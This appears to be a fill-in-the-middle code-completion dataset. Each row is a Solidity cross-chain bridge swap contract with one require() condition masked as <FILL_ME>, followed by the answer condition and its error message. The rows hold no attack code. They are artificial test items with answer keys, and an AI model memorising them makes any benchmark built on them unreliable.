bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
require(
amount >= minTokenAmount,
"swapContract: Less than required minimum of tokens requested"
);
require(
bytes(newAddress).length > 0,
"swapContract: No destination address provided"
);
require(<FILL_ME>)
require(
amount >= feeAmountOfBlockchain[blockchain],
"swapContract: Not enough amount of tokens"
);
address sender = _msgSender();
TransferHelper.safeTransferFrom(address(tokenAddress), sender, address(this), amount);
emit TransferToOtherBlockchain(blockchain, sender, amount, newAddress);
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| existingOtherBlockchain[blockchain]&&blockchain!=numOfThisBlockchain,"swapContract: Wrong choose of blockchain" | 411,644 | existingOtherBlockchain[blockchain]&&blockchain!=numOfThisBlockchain |
"swapContract: Signatures lengths must be divisible by 65" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
require(
user != address(0),
"swapContract: Address cannot be zero address"
);
uint256 signatureLength = SIGNATURE_LENGTH;
require(<FILL_ME>)
require(
concatSignatures.length / signatureLength >= minConfirmationSignatures,
"swapContract: Not enough signatures passed"
);
bytes32 hashedParams = getHashPacked(user, amountWithFee, originalTxHash);
(bool processed, bytes32 savedHash) = isProcessedTransaction(originalTxHash);
require(!processed && savedHash != hashedParams, "swapContract: Transaction already processed");
uint256 signaturesCount = concatSignatures.length / signatureLength;
address[] memory validatorAddresses = new address[](signaturesCount);
for (uint256 i = 0; i < signaturesCount; i++) {
address validatorAddress = ecOffsetRecover(hashedParams, concatSignatures, i * signatureLength);
require(isValidator(validatorAddress), "swapContract: Validator address not in whitelist");
for (uint256 j = 0; j < i; j++) {
require(validatorAddress != validatorAddresses[j], "swapContract: Validator address is duplicated");
}
validatorAddresses[i] = validatorAddress;
}
processedTransactions[originalTxHash] = hashedParams;
uint256 fee = feeAmountOfBlockchain[numOfThisBlockchain];
uint256 amountWithoutFee = amountWithFee - fee;
TransferHelper.safeTransfer(address(tokenAddress), user, amountWithoutFee);
TransferHelper.safeTransfer(address(tokenAddress), feeAddress, fee);
emit TransferFromOtherBlockchain(user, amountWithFee, amountWithoutFee, originalTxHash);
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| concatSignatures.length%signatureLength==0,"swapContract: Signatures lengths must be divisible by 65" | 411,644 | concatSignatures.length%signatureLength==0 |
"swapContract: Not enough signatures passed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
require(
user != address(0),
"swapContract: Address cannot be zero address"
);
uint256 signatureLength = SIGNATURE_LENGTH;
require(
concatSignatures.length % signatureLength == 0,
"swapContract: Signatures lengths must be divisible by 65"
);
require(<FILL_ME>)
bytes32 hashedParams = getHashPacked(user, amountWithFee, originalTxHash);
(bool processed, bytes32 savedHash) = isProcessedTransaction(originalTxHash);
require(!processed && savedHash != hashedParams, "swapContract: Transaction already processed");
uint256 signaturesCount = concatSignatures.length / signatureLength;
address[] memory validatorAddresses = new address[](signaturesCount);
for (uint256 i = 0; i < signaturesCount; i++) {
address validatorAddress = ecOffsetRecover(hashedParams, concatSignatures, i * signatureLength);
require(isValidator(validatorAddress), "swapContract: Validator address not in whitelist");
for (uint256 j = 0; j < i; j++) {
require(validatorAddress != validatorAddresses[j], "swapContract: Validator address is duplicated");
}
validatorAddresses[i] = validatorAddress;
}
processedTransactions[originalTxHash] = hashedParams;
uint256 fee = feeAmountOfBlockchain[numOfThisBlockchain];
uint256 amountWithoutFee = amountWithFee - fee;
TransferHelper.safeTransfer(address(tokenAddress), user, amountWithoutFee);
TransferHelper.safeTransfer(address(tokenAddress), feeAddress, fee);
emit TransferFromOtherBlockchain(user, amountWithFee, amountWithoutFee, originalTxHash);
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| concatSignatures.length/signatureLength>=minConfirmationSignatures,"swapContract: Not enough signatures passed" | 411,644 | concatSignatures.length/signatureLength>=minConfirmationSignatures |
"swapContract: Transaction already processed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
require(
user != address(0),
"swapContract: Address cannot be zero address"
);
uint256 signatureLength = SIGNATURE_LENGTH;
require(
concatSignatures.length % signatureLength == 0,
"swapContract: Signatures lengths must be divisible by 65"
);
require(
concatSignatures.length / signatureLength >= minConfirmationSignatures,
"swapContract: Not enough signatures passed"
);
bytes32 hashedParams = getHashPacked(user, amountWithFee, originalTxHash);
(bool processed, bytes32 savedHash) = isProcessedTransaction(originalTxHash);
require(<FILL_ME>)
uint256 signaturesCount = concatSignatures.length / signatureLength;
address[] memory validatorAddresses = new address[](signaturesCount);
for (uint256 i = 0; i < signaturesCount; i++) {
address validatorAddress = ecOffsetRecover(hashedParams, concatSignatures, i * signatureLength);
require(isValidator(validatorAddress), "swapContract: Validator address not in whitelist");
for (uint256 j = 0; j < i; j++) {
require(validatorAddress != validatorAddresses[j], "swapContract: Validator address is duplicated");
}
validatorAddresses[i] = validatorAddress;
}
processedTransactions[originalTxHash] = hashedParams;
uint256 fee = feeAmountOfBlockchain[numOfThisBlockchain];
uint256 amountWithoutFee = amountWithFee - fee;
TransferHelper.safeTransfer(address(tokenAddress), user, amountWithoutFee);
TransferHelper.safeTransfer(address(tokenAddress), feeAddress, fee);
emit TransferFromOtherBlockchain(user, amountWithFee, amountWithoutFee, originalTxHash);
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| !processed&&savedHash!=hashedParams,"swapContract: Transaction already processed" | 411,644 | !processed&&savedHash!=hashedParams |
"swapContract: Validator address not in whitelist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
